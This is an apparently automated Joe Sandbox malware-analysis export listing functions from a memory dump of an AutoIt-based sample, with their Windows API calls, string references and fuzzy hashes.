Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: GetSystemWow64DirectoryW$X64
API String ID: 145871493-2590602151
Opcode ID: 973e256d03a2dd8907cbe9494a85a9d0a4ad97a3cd98bcaac67ea974cc36c2e9
Instruction ID: d7c53018a172517d75603c45464b314ab198bb219e8147094b1b60c70f17e64c
Opcode Fuzzy Hash: 973e256d03a2dd8907cbe9494a85a9d0a4ad97a3cd98bcaac67ea974cc36c2e9
Instruction Fuzzy Hash: 9EF05C75837712EFD3741B544C08A5977149F11B01B608498F809E10C7CB60CD708F92

Function 001B4E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,001B4EDD,?,00281418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 001B4E9C
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 001B4EAE
FreeLibrary.KERNEL32(00000000,?,?,001B4EDD,?,00281418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 001B4EC0

Strings

Wow64DisableWow64FsRedirection, xrefs: 001B4EA8
kernel32.dll, xrefs: 001B4E94

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 145871493-3689287502
Opcode ID: 5d578596dcf16c3af1360bdbbbe8111a8f200711825f76b080b4c515d1b5b43d
Instruction ID: b7353fa0f44b724795551e306449c710e54f4439f6673d6d59ca9229edd6b4aa
Opcode Fuzzy Hash: 5d578596dcf16c3af1360bdbbbe8111a8f200711825f76b080b4c515d1b5b43d
Instruction Fuzzy Hash: D4E0CD39A035225BD271172D7C1CB9F6554AF83F627154115FC0CD2102DB64CD0185B5

Function 001B4E59 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,001F3CDE,?,00281418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 001B4E62
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 001B4E74
FreeLibrary.KERNEL32(00000000,?,?,001F3CDE,?,00281418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 001B4E87

Strings

kernel32.dll, xrefs: 001B4E5B
Wow64RevertWow64FsRedirection, xrefs: 001B4E6E

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 145871493-1355242751
Opcode ID: cd0f84a3f55cda69f62c803d196df1c26ff3326c2fe46d9b438ac67c0a2f794e
Instruction ID: 2453c485c2ea7e377950fcb2ecc703875223454d6fefe298852b7e9528d980f0
Opcode Fuzzy Hash: cd0f84a3f55cda69f62c803d196df1c26ff3326c2fe46d9b438ac67c0a2f794e
Instruction Fuzzy Hash: 28D0C239503A215766621B287C0CDCB6B18AF87B113158110F80CA2111CF24CD01C5E0

Function 00222947 Relevance: 7.8, APIs: 5, Instructions: 313fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00222C05
DeleteFileW.KERNEL32(?), ref: 00222C87
CopyFileW.KERNEL32(?,?,00000000,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00222C9D
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00222CAE
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00222CC0

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: File$Delete$Copy
String ID:
API String ID: 3226157194-0
Opcode ID: 96ceec954a4ff959e0c4f82df715dde77eddee2397c7f2bd4dca59a62a557954
Instruction ID: 482107fc7244db54da9f89fd4397a97cb9ec47ca950ce7a04bc0c1cafed37085
Opcode Fuzzy Hash: 96ceec954a4ff959e0c4f82df715dde77eddee2397c7f2bd4dca59a62a557954
Instruction Fuzzy Hash: 4AB16D72910129BBDF21EFE4DC85EDEB7BDEF19300F1040A6F509A6241EB719A588F61

Function 0023A387 Relevance: 7.8, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 0023A427
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0023A435
GetProcessIoCounters.KERNEL32(00000000,?), ref: 0023A468
CloseHandle.KERNEL32(?), ref: 0023A63D

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: 95f03030b3e16867489030ab36bfa7671daa0eedea34b759219f9363c6acc55b
Instruction ID: 3419bba67904b5b7e2177cb9f7e644e6aabf3ff7bfc2bedc4fcbbe2af19b7d7d
Opcode Fuzzy Hash: 95f03030b3e16867489030ab36bfa7671daa0eedea34b759219f9363c6acc55b
Instruction Fuzzy Hash: 7FA1C2B16043019FD720DF28D886F2AB7E5AF94714F14885CF59A9B3D2DBB0EC408B92

Function 0021E3FB Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0021DDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,0021CF22,?), ref: 0021DDFD

Part of subcall function 0021DDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,0021CF22,?), ref: 0021DE16

Part of subcall function 0021E199: GetFileAttributesW.KERNEL32(?,0021CF95), ref: 0021E19A

lstrcmpiW.KERNEL32(?,?), ref: 0021E473
MoveFileW.KERNEL32(?,?), ref: 0021E4AC
_wcslen.LIBCMT ref: 0021E5EB
_wcslen.LIBCMT ref: 0021E603
SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 0021E650

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 3183298772-0
Opcode ID: fd069f089fce8edff063ba60d9569224cc942dd4cb27deb02485cfb23fbb153f
Instruction ID: 56f5b47b4afa2bfb830ecfcd1975f520c6ad67f13bf771eb8510925642d2c90e
Opcode Fuzzy Hash: fd069f089fce8edff063ba60d9569224cc942dd4cb27deb02485cfb23fbb153f
Instruction Fuzzy Hash: AA5183B24083859BCB24DF94DC819DB73ECAFA5340F10491EFA89D3151EF74A5988B66

Function 0023B9C9 Relevance: 7.7, APIs: 5, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 001B9CB3: _wcslen.LIBCMT ref: 001B9CBD

Part of subcall function 0023C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0023B6AE,?,?), ref: 0023C9B5
Part of subcall function 0023C998: _wcslen.LIBCMT ref: 0023C9F1
Part of subcall function 0023C998: _wcslen.LIBCMT ref: 0023CA68
Part of subcall function 0023C998: _wcslen.LIBCMT ref: 0023CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0023BAA5
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0023BB00
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 0023BB63
RegCloseKey.ADVAPI32(?,?), ref: 0023BBA6
RegCloseKey.ADVAPI32(00000000), ref: 0023BBB3

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 826366716-0
Opcode ID: ed6b3f3c8cc9384cd6c7f3de365d7248c52492b210142836d9a4fe08e78d03b1
Instruction ID: c2c0509aeb9cf67f1958912b1829da16a3e9b3939a4f6b218c7ab6ca4e3d82a2
Opcode Fuzzy Hash: ed6b3f3c8cc9384cd6c7f3de365d7248c52492b210142836d9a4fe08e78d03b1
Instruction Fuzzy Hash: 5F61C071218201AFC315DF24C490E6ABBE5FF84308F54899DF5998B2A2CB31ED46CB92

Function 00218BB0 Relevance: 7.7, APIs: 5, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00218BCD
VariantClear.OLEAUT32 ref: 00218C3E
VariantClear.OLEAUT32 ref: 00218C9D
VariantClear.OLEAUT32(?), ref: 00218D10
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00218D3B

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: accd32d5603fd000b861936f19152746e90aed49f1826266dcf96d94a6374f48
Instruction ID: 28aa18d3cd409f9fb8542e15e456d3e82786bef9c9e04d638d67f990195e9d98
Opcode Fuzzy Hash: accd32d5603fd000b861936f19152746e90aed49f1826266dcf96d94a6374f48
Instruction Fuzzy Hash: D3518AB5A10619EFCB14CF68D884AAAB7F8FF99310B118569F905DB350E730E911CF90

Function 00228AFB Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00228BAE
GetPrivateProfileSectionW.KERNEL32(?,00000003,00000003,?), ref: 00228BDA
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00228C32
WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00228C57
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00228C5F

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: c219b7339226dde38c9b84e133e6139a0bf4ce6c5898efd59e1a588e2d80cc28
Instruction ID: 60efa0e5530be04df03619a7dcb9f099fa1ce4e6626c16b3865edeea55b19326
Opcode Fuzzy Hash: c219b7339226dde38c9b84e133e6139a0bf4ce6c5898efd59e1a588e2d80cc28
Instruction Fuzzy Hash: DA516C35A00215AFCB15DF65D881EADBBF5FF59314F088059E849AB3A2CB31ED51CBA0

Function 00238EE4 Relevance: 7.6, APIs: 5, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,00000000,?), ref: 00238F40
GetProcAddress.KERNEL32(00000000,?), ref: 00238FD0
GetProcAddress.KERNEL32(00000000,00000000), ref: 00238FEC
GetProcAddress.KERNEL32(00000000,?), ref: 00239032
FreeLibrary.KERNEL32(00000000), ref: 00239052

Part of subcall function 001CF6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,00221043,?,753CE610), ref: 001CF6E6
Part of subcall function 001CF6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,0020FA64,00000000,00000000,?,?,00221043,?,753CE610,?,0020FA64), ref: 001CF70D

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
String ID:
API String ID: 666041331-0
Opcode ID: fe3571365a71e5d6b5cb72362a0719141c1b6b13bc16a1f2f5ce1e7f9a56df21
Instruction ID: 6dcf4cf17a6af691b376cd857b4262b21bbfa891a80e45b9ac334a3bc24fd098
Opcode Fuzzy Hash: fe3571365a71e5d6b5cb72362a0719141c1b6b13bc16a1f2f5ce1e7f9a56df21
Instruction Fuzzy Hash: 08514874605205DFCB14DF68C4848ADBBB1FF59314F1480A8E80A9B762DB71ED86CB90

Function 00246B76 Relevance: 7.6, APIs: 5, Instructions: 131windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(00000002,000000F0,?), ref: 00246C33
SetWindowLongW.USER32(?,000000EC,?), ref: 00246C4A
SendMessageW.USER32(00000002,00001036,00000000,?), ref: 00246C73
ShowWindow.USER32(00000002,00000000,00000002,00000002,?,?,?,?,?,?,?,0022AB79,00000000,00000000), ref: 00246C98
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027,00000002,?,00000001,00000002,00000002,?,?,?), ref: 00246CC7

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Window$Long$MessageSendShow
String ID:
API String ID: 3688381893-0
Opcode ID: 2f7cd2c42b0cab58088b81777cd1a27ccc899be0f64628524505fd265997f441
Instruction ID: b27398e79ffef281ef291057ee7a3f9d14a96311514f419e21e6635f72edbbb5
Opcode Fuzzy Hash: 2f7cd2c42b0cab58088b81777cd1a27ccc899be0f64628524505fd265997f441
Instruction Fuzzy Hash: 2141D735A24105AFD72CCF68DC9CFA97BA9EB0B350F150269F895A72E0C371ED61CA41

Function 001E2051 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 001E20C3
_free.LIBCMT ref: 001E20E3

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 9ae3fa5d31c192fc5a5486828d44fe36f6784c8171da842b80f2370f316949af
Instruction ID: 1398f736ee460d196fde8d5a16a67ad3d9511ebfb412636026f713ba9fe2974f
Opcode Fuzzy Hash: 9ae3fa5d31c192fc5a5486828d44fe36f6784c8171da842b80f2370f316949af
Instruction Fuzzy Hash: 0B41E232A006009FCB24DF79C891A9DB3E9EF99314F26456DE515EB392D731EE01CB80

Function 001C912D Relevance: 7.6, APIs: 5, Instructions: 121keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 001C9141
ScreenToClient.USER32(00000000,?), ref: 001C915E
GetAsyncKeyState.USER32(00000001), ref: 001C9183
GetAsyncKeyState.USER32(00000002), ref: 001C919D

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 2fe1b61018c9bf7e217b0bb872e582f8f756d8c138fab6fe56e6d671e0c94fb2
Instruction ID: a82aaab5a1738aaa6be66b2988d291a308b19cb4fcf135b65006266d6a313bc6
Opcode Fuzzy Hash: 2fe1b61018c9bf7e217b0bb872e582f8f756d8c138fab6fe56e6d671e0c94fb2
Instruction Fuzzy Hash: 34415131A0860BEBDF199F64C849BEEF775FB15330F244219E429A22D1C770A964CF91

Function 00223874 Relevance: 7.6, APIs: 5, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 002238CB
TranslateAcceleratorW.USER32(?,00000000,?), ref: 00223922
TranslateMessage.USER32(?), ref: 0022394B
DispatchMessageW.USER32(?), ref: 00223955
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00223966

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchInputPeekState
String ID:
API String ID: 2256411358-0
Opcode ID: 4c5f0a0f9e2d6d7f6e075e94d5a2001b432ee89899adbea705ab8809a8571089
Instruction ID: b640538b95479d0cd4dafa945cb79b27e8ca1de7937e175c5f43caca1857be78
Opcode Fuzzy Hash: 4c5f0a0f9e2d6d7f6e075e94d5a2001b432ee89899adbea705ab8809a8571089
Instruction Fuzzy Hash: 4131B574925362FEEB25CFB4B84DBB637A8AB06300F140569E452961E0E3FC96E5CB11

Function 0022CF1A Relevance: 7.6, APIs: 5, Instructions: 93networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,00000000,?,?,?,0022C21E,00000000), ref: 0022CF38
InternetReadFile.WININET(?,00000000,?,?), ref: 0022CF6F
GetLastError.KERNEL32(?,00000000,?,?,?,0022C21E,00000000), ref: 0022CFB4
SetEvent.KERNEL32(?,?,00000000,?,?,?,0022C21E,00000000), ref: 0022CFC8
SetEvent.KERNEL32(?,?,00000000,?,?,?,0022C21E,00000000), ref: 0022CFF2

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: EventInternet$AvailableDataErrorFileLastQueryRead
String ID:
API String ID: 3191363074-0
Opcode ID: d7f6079603c97ad823beab9ca1fb93c734c175fe57af91b8cd2aa9c43ea2c73f
Instruction ID: 4c7ddc64ac2ef28e9cd67fd59923f20faf046258c7addf168ca538d40a42d2e9
Opcode Fuzzy Hash: d7f6079603c97ad823beab9ca1fb93c734c175fe57af91b8cd2aa9c43ea2c73f
Instruction Fuzzy Hash: 95318B71510216FFDB20DFE9E984AAEBBF9EB14350B20402EF506D2550DB70EE519B60

Function 00211901 Relevance: 7.6, APIs: 5, Instructions: 93sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00211915
PostMessageW.USER32(00000001,00000201,00000001), ref: 002119C1
Sleep.KERNEL32(00000000,?,?,?), ref: 002119C9
PostMessageW.USER32(00000001,00000202,00000000), ref: 002119DA
Sleep.KERNEL32(00000000,?,?,?,?), ref: 002119E2

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: fc31c6fac8d6b6479b1791bd637f66cef6c11f80f520c23fc3ef62ce6d4b5f3f
Instruction ID: 0f0baf0fc577348baf8124a22b25f203852d8a95d44c40a14f06082e2a3631f0
Opcode Fuzzy Hash: fc31c6fac8d6b6479b1791bd637f66cef6c11f80f520c23fc3ef62ce6d4b5f3f
Instruction Fuzzy Hash: BB31E27191021AEFCB04CFACDD9DADE3BB5EB55314F108225FA25A72D0C37099A4CB90

Function 00245706 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001053,000000FF,?), ref: 00245745
SendMessageW.USER32(?,00001074,?,00000001), ref: 0024579D
_wcslen.LIBCMT ref: 002457AF
_wcslen.LIBCMT ref: 002457BA
SendMessageW.USER32(?,00001002,00000000,?), ref: 00245816

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: MessageSend$_wcslen
String ID:
API String ID: 763830540-0
